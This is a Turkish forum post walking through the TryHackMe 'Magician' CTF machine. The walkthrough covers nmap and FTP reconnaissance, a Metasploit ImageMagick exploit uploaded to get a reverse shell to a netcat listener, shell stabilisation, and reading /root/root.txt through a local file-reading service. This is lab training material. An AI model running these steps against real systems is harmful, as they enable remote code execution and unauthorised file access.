Magician Write Up | THM

The Serum

Katılımcı Üye
13 Ocak 2018
365
154
/etc/shadow
Selamlar arkadaşlar. Bugün THM'de yer alan 'Magician' adındaki zafiyetli sistemi çözeceğiz. İyi okumalar.

pg03jcv.png


Makine Linki: Tıkla

Zorluk: Easy

Bu makinenin başında özellikle not döşülmüş. Verilen ip adresini 'hosts' dosyasına yazıp kaydetmenizi istiyor. Daha sonra işlemlerimize devam ediyoruz

Her zamanki gibi makinemizi 3 adımda çözeceğim.

1-Bilgi Toplama

Her zamanki gibi işlemlerime ilk nmap taraması ile başlıyorum


Kod:
nmap -T4 -sV -v İP

Çıktımız şu şekilde oluyor

op0kovd.png


Açık olan 2 tane portumuz var. 21. ve 8081. portlar. Detaylı baktığımız zaman 8081. portta bir http servisinin çalıştığını görüyoruz. Web servisine gitmeden önce FTP portunda ziyaretçi girişinin olup olmadığına bakalım.

on70xlh.png


FTP servisinde ziyaretçi girişi açıkmış fakat uzun bir bekleyişten sonra ftp deziyaretçi kullanıcısı olarak bir yetkimiz yokmuş. Fakat içeride bize bir mesaj bırakılmış

Verdiği ipucunda geç girme sebebimizin sistemdeki bir dosyadan kaynaklı olduğunu söylüyor. Ve bize bir site veriyor.


e364ef0.png


Siteyi ziyaret ettiğimizde böyle bir sayfa bizi karşılıyor.

'Image Magick' adındaki bir zafiyetten bahsediyor. Hemen aklımıza bunu nasıl kullanacağımız sorusu geliyor. Sitenin alt taraflarına doğru kullanımı yazılmış fakat biz daha iyi anlaşılması açısından metasploit üzerinden gideceğiz.


Kod:
msfconsole -q

Metasploiti açtıktan sonra ilk önce kullanacağımız exploiti bulmamız gerekli.

Kod:
search exploit_ismi

ll5hqyi.png


Çıkan sonuçlardan aramamızla uyuşan tek bir exploitin olduğunu görüyoruz. Kullanmak için 'use' komutunu kullanmamız yeteli.

Kod:
use 3

l5fgjxz.png


Exploitimizi seçtikten sonra ayarlarını kontrol etmemiz gerekli.

Kod:
opitons

i92klff.png


Burada bizim değiştireceğimiz iki tane bölüm bulunmakta. Birinci bölüm 'LHOST' diğeri ise target kısmından dosya uzantımız.

İp yi değiştirme sebebimiz hali hazırda bir vpn kullandığımız için aktif olan ip adresimizi girmemiz gerekli.


Kod:
ifconfig

Terminale bu komutu yazdıktan sonra 'tun0' bölümündeki ip adresimizi alıp şu komutu kullanıyoruz.

Kod:
set LHOST ip

Daha sonra dosya uzantımızı değiştirmemiz gerekli.

Kod:
set targets 1

1kigzc1.png


Komutlarımızı girdikten sonra son kez bir kontrol etmek için yine 'options' komutunu kullanıyoruz. Baktığımızda tüm değişikler olduysa son görüntü şu şekilde olmalı.

bfcdf1h.png


Tüm ayarlarımızı yaptıktan sonra 'run' komutu ile exploitimizi oluşturuyoruz.

s8j11uj.png


Resmin alt kısmından göreceğiniz üzere exploitimizin oluşturulduğu konumu bize söylüyor.

Tamam exploitimiz artık hazır şimdi napıcaz. Şimdi ise nmap taramamızdan ikinci sırada çıkan porttaki http servisine gidip biraz daha bilgi toplayacağız.


kq33zbf.png


Sitemize gittiğimizde bizi bir upload paneli karşlıyor. Buradanda anlıyoruz ki az önce oluşturduğumuz exploiti sisteme yüklemek o kadar da zor olmayacak :D

2- Sızma

Dosyamızı upload etmeden önce yeni bir teminal açıp seçtiğimiz portu dinlememiz gerekli.

Kod:
nc -nlvp 4444

d8og96t.png


Daha sonra dosyamızı yükledikten sonra shellimiz otamatik olarak gelecektir.

3xdqh3v.png


Şimdi aldığımız shelli öncelikle kullanışlı bir shell haline getirmemiz gerekli. Yazmış olduğum komutlar sırasıyla şu şekilde olucak.
Kod:
python -c 'import pty;pty.spawn("/bin/bash")'


export TERM=xterm


CTRL + Z(Klavyeden)


stty raw -echo &&fg(Kendi Kalimizde)


stty -a (Kendi kalimizde )


stty rows X column Y(Hedef Sistemde)

Not: Burada x ve y değerleri kendi sistemimizde 'stty -a' komutunu çalıştırdığımız rows ve columns değerleri olucaktır.

oxznfz7.png

kf0vgnm.png


Artık Shellimizi aldık. İlk olarak home klasörünün altından user.txt bayrağını almamız gerekecek.

6g7c2pm.png


Evet artık usr.txt dosyasını okuduk sırada yetki yükseltme kısmı var.

3- Yetki Yükseltme

/home/magician klasörünün altında 'the_magic_continues' adında bir dosya var. İçinde bir şey yazıyormu diye kontrol etmekte fayda var.

Kod:
cat the_magic_continues

353zzpm.png


Ve burada bir ipucunu daha almış oluyor. Burada sihirbazın elinde yerel olarak dinleyen bir kediden bahsediliyor. Hemen aklımıza local hostta dinlenen portlara bakmak geliyor.

Kod:
netstat -tulpn

75n0u2c.png


Localhostda 6666. portta bir dinleme olduğunu görüyoruz. Hemen 'curl' yardımıyla bu portta ne dinlendiğine bakalım.

Kod:
curl localhost:6666

Burada bizi bir html içerik karşılıyor içini okuduğumuz zaman cat komutunu çalıştıran bir site olduğunun farkına varıyoruz.

Buradaki yetkimizi kontrol edemeyeceğimizden farkına varmak için direk root.txt dosyasını çekmeye çalışıcam.


Kod:
curl -X POST http://127.0.0.1:6666/ -d "filename=/root/root.txt"

Komutumuzu girdikten sonra sayfamızın alt kısmında root.txt bayrağı bize veriliyor.

ry3dk0p.png


Biz dosyamızın içinde yazanı aldık fakat dosya biçimi istediğimiz gibi değil. Burasıda biraz tecrübeyle geliyor. Bize verilen encrypt datanın öncelikle hangi algoritma olduğunu bulmamız gerekli.

Bu kısımda sonradan fark ettiğim bir olay oldu. Biz her isteği gönderdiğimizde gelen sonuçtaki flag farklı algoritmalarla şifreleniyor. Yani ilk yaptığımızdaki şifreleme ile ikinci gönderdiğimiz isteğin dönüşündeki şifreleme aynı değil.

Bunun için kolay kırabileceğimiz bir şifre algoritmasıda koymuşlar.


jjric4f.png


2. isteğimizdeki dönen yanıttaki şifreleme algoritması base 64. Bunu hemen kendi terminalimizden decrypt edebiliriz.

Kod:
echo 'Hash' | base64 -d

zv63ub0.png

lbtpk60.png


Evet arkadaşlar bir ctfin daha sonuna gelmiş bulunmaktayız. Umarım güzelce anlatabilmişimdir. Sorularınız olursa bana direk sorabilirsiniz. İyi forumlar dilerim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.